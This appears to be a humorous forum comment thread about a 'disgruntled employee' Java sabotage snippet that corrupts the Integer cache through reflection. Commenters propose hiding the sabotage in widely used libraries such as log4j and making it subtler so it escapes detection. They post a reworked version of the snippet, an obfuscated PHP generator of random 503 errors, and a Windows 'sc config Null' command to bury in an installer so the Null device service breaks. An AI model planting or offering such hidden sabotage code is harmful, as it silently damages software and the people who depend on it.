Comment On Disgruntled Bomb: Java Edition

Negative Frist!

"// either the same (90%), +1 (10%), or 42 (1%)"

That is ... interesting.

Also, underscores in package names? Don't.

Actually, this works for *none* of the primitive types. It does work for the auto-boxing conversion, though, which still makes it nasty.

But it would cause much too frequent and obvious (though hard to debug) errors.

Actually, in your code, 42 will occur more than 1% of the case. That's because the two calls to Random are independent from each other.

What's 10% of 10%????

Of course it works, it's 10% of 100% - 90%. However, i + 1 applies in 9%, or this code magically makes Java run 101%.

Note: could also be 46 (= 42 + (3+1))

Renaming this to, say, CatastropheTesting *might* get you off the hook for being fired or prosecuted.

Randy - goodluckwiththat

"primative types" you say? You really should consult Primate Programming(tm) Inc about those (http://www.newtechusa.com/ppi/main.asp)

someone set us up the bomb

BigInteger is not a primitive (or even 'primative' - get yourself a spell checker) type. The others aren't primitive types either, although they are the object equivalents of the primitive types in Java.

The munging happens way too frequently. The value should stay the same a higher percentage of the time so that problems are more subtle take much longer to show up, making debugging even more infuriating.

Unless of course the application(s) your victims care about are already so buggy that the effects could go unnoticed for a while...

I'll be using this for my new random number generator.

Thank you

> Negative Frist!

My internal parser didn't switch from German to English fast enough, making me wonder why

"negative deadline"

ended up as first comment ...

brazzy:

Actually, this works for *none* of the primitive types. It does work for the auto-boxing conversion, though, which still makes it nasty.

But it would cause much too frequent and obvious (though hard to debug) errors.

More precisely it corrupts the internal cache of Integer objects from -127 to 128 maintained by Java for use when valueOf is invoked, explicitly or through autoboxing. Quite nasty yes.
I think the term "primative (sic) types" was used here instead of primitive wrapper classes. (and BigInt isn't a wrapper class by the way)

I just had an epiphany.

Do you think, that maybe, almost all the WTFs we have seen over the years are created by not undeniably stupid people, but people who are in fact VICTIMS of these evil bombs!!

I mean, have you ever considered the thinking behind creations like absolutely redundant conditional statements?

Could that .NET technique (replacing string.Empty with a space) be used to swap the parameter order of integer minus or divide? That would be brutal.

I'm starting with the Int in the Mirror,
I'm asking him to change his ways,
No message could have been any clearer,
If you want to make the world a bitter place

At least he got the 1% percentage right. That's way more than I expect from most people I've worked with.

WOW - this is really something. Put this inside some most basic library that doesn't update frequently yet used consistently (say, log4j) and in a large enough application this can screw up the system for years. And after checking the code on bug complaint, you can easily say its faulty CPU and probably get off with that. Never liked this autoboxing crap, is it REALLY that much of a hurdle to write new Long(1)???? Really?

Well, new Long(1) would allocate a new object in memory, autoboxing or Long.valueOf(1) would pull the object from the cache. I must say I'm quite keen on autoboxing, the code is a bit more easier to read without being littered with valueOf each time we convert a primitive in its wrapper object. (a bit less on the auto-unboxing to do potential NullPointerException if the developer doesn't know what he's doing)

The sum of its parts is greater than the whole. Or is it the whole is greater than the sum of the parts? Or is it whole sum is greater than its parts?

Wiz:

Well, new Long(1) would allocate a new object in memory, autoboxing or Long.valueOf(1) would pull the object from the cache. I must say I'm quite keen on autoboxing, the code is a bit more easier to read without being littered with valueOf each time we convert a primitive in its wrapper object. (a bit less on the auto-unboxing to do potential NullPointerException if the developer doesn't know what he's doing)

No argument on readability. It mostly has to do with developers who don't care, want to care, or know what they are doing. Excuse from last Friday - "Oops, I forgot to remove capital L" - how's that for WTF?

Daniil:

No argument on readability. It mostly has to do with developers who don't care, want to care, or know what they are doing. Excuse from last Friday - "Oops, I forgot to remove capital L" - how's that for WTF?

Most of the time you are required to work on code you can't control from one end to the other you know. You have to conform to the API you call or are called from, some of these really like long, others Long, and some even love to have the two at the same time.

I love this code. :)

It's entirely possible to put this sort of thing really deeply squirreled away too. For example, by starting the thread in a static initializer of another class that's got some miscellaneous almost-constants that are used all over. Or worse, it could be so that it only bites when you dynamically load a class. Brrr!

            field.setInt( 

                Integer.valueOf(i),

                // either the same (90%), +1 (1%), or 42 (9%)

                Math.random() < 0.9 ? i : Math.random() < 0.1 ? 42 : i+1  );

FTFY

Has nobody realised that the munger itself will not work after the first run?

for (int ......)

?

anon:

Has nobody realised that the munger itself will not work after the first run?

for (int ......)

?

Perhaps that just makes it even worse - the changing of the values is based on probability - so it will change different portions of the value spectrum each time the program is run.

anon:

Has nobody realised that the munger itself will not work after the first run?

for (int ......)

?

Where's the problem? it just has to be run once to set up the bomb...

Captcha: abigo. Indeed a big one.

anon:

Has nobody realised that the munger itself will not work after the first run?

for (int ......)

?

Integer.valueOf uses an array as a cache for the values from -127 to 128, so the code will change the value inside the Integer object but not its position in the array. And so a call to Integer.valueOf(100) will return an Integer with 42 as its value for instance.

anon:

Has nobody realised that the munger itself will not work after the first run?

for (int ......)

?

This will not affect primitives, which the for() loop uses.

Here's a PHP random error generator I wrote a while back after one of the earlier posts.

if (mt_rand(0,10000) > 9000)

{

  $func_chrs = array(104, 101, 97, 100, 100, 114);

  foreach($func_chrs as $chr)

  {

    @$func .= chr($chr);

  }



  $msg_chrs = array(72, 84, 84, 80, 47, 49, 48, 46, 32, 53, 48, 51,

                    32, 83, 101, 114, 118, 105, 99, 101, 32, 84, 101, 

                    109, 112, 111, 114, 97, 114, 105, 108, 121, 32, 

                    85, 110, 97, 118, 97,105, 108, 97, 98, 108, 101);

  foreach($msg_chrs as $chr)

  {

    @$msg .= chr($chr);$func($msg, chr(53) . chr(48) . chr(51));

  }

  exit;

}

TRWTF is primative obsession.

Liking the marillion reference

Wow, that is awesome. That would be like putting the following in a random header file
#define == =

Kirill S.:

"primative types" you say? You really should consult Primate Programming(tm) Inc about those.

Most primates do not program in Java, but prefer Ook instead.

backForMore:

someone set us up the bomb

Actually, it's "Somebody set up us the bomb!"; notice that "up" and "us" are switched, making this sentence even more tortured than you might have thought possible.

http://www.youtube.com/watch?v=icVy7Ve6y6A

Not actually java, but I've got one hell of a killer for anything trying to be *NIX like on Windows.

sc config Null binpath= "\"C:\Windows\System32\ipconfig.exe\""

Put that buried somewhere in your installer, and change ipconfig to some executable related to your system.

Next time the system restarts, Null doesn't come up. In other words, the bit-bucket doesn't exist.

Most Windows services don't rely upon \Devices\Null. Things like cygwin are dependent upon it.
This "bug" survived for 7 years in my company's code. Took me several weeks to find what was causing it.

There was an in joke based on a variant of this on the Java Developer Connection Forums back in the day (2002 or 2003 IIRC).

Daniil:

.... Put this inside some most basic library that doesn't update frequently yet used consistently (say, log4j) and in a large enough application this can screw up the system for years. And after checking the code on bug complaint, you can easily say its faulty CPU and probably get off with that. ....

Add a code to the library that checks what computers it is running on (possibly by CPU model, or by something else, whatever else you might want to check) to tell it to make these mistakes or not.

For a bunch more ideas about how a malicious Java developer might abuse their role, please check out the following paper from Jeff Williams (https://www.owasp.org/index.php/User:Jeff_Williams) from the BlackHat conference. He uses a crazy combination of obfuscation, classloading, instrumentation, java compiler api, timing channels, and a bunch more techniques.

http://www.blackhat.com/presentations/bh-usa-09/WILLIAMS/BHUSA09-Williams-EnterpriseJavaRootkits-PAPER.pdf

Enjoy!

Where's the WTF? We've all had to do something like this.

CodeMonkey:

backForMore:

someone set us up the bomb

Actually, it's "Somebody set up us the bomb!"; notice that "up" and "us" are switched, making this sentence even more tortured than you might have thought possible.

http://www.youtube.com/watch?v=icVy7Ve6y6A

Thank god you fixed this misinformation! what would we have done without you?

Design Pattern:

Kirill S.:

"primative types" you say? You really should consult Primate Programming(tm) Inc about those.

Most primates do not program in Java, but prefer Ook instead.

Don't have the time or patience to check this at the moment (busy writing a thesis about indiscrete spaces) - is Ook Turing complete? If so, has anyone told pterry about it?

Matt Westwood:

Design Pattern:

Kirill S.:

"primative types" you say? You really should consult Primate Programming(tm) Inc about those.

Most primates do not program in Java, but prefer Ook instead.

Don't have the time or patience to check this at the moment (busy writing a thesis about indiscrete spaces) - is Ook Turing complete? If so, has anyone told pterry about it?

The third paragraph on the Ook website:

If you are familiar with BrainF*** you can skip straight to the syntax elements section. Note that since Ook! is trivially isomorphic to BrainF***, it is well-established that Ook! is a Turing-complete programming language.

Matt Westwood:

has anyone told pterry about it?

Is this meant as a "if a tree falls in the forest but nobody's there, does it make a sound" question?

[For those who may not know, T. Pratchett is suffering quite badly from Alzheimer since a relatively young age; he's quite involved in lobbying for more research money. Whenever he remembers, that is.]

jb:

CodeMonkey:

backForMore:

someone set us up the bomb

Actually, it's "Somebody set up us the bomb!"; notice that "up" and "us" are switched, making this sentence even more tortured than you might have thought possible.

http://www.youtube.com/watch?v=icVy7Ve6y6A

Thank god you fixed this misinformation! what would we have done without you?

Continue to quote it wrong.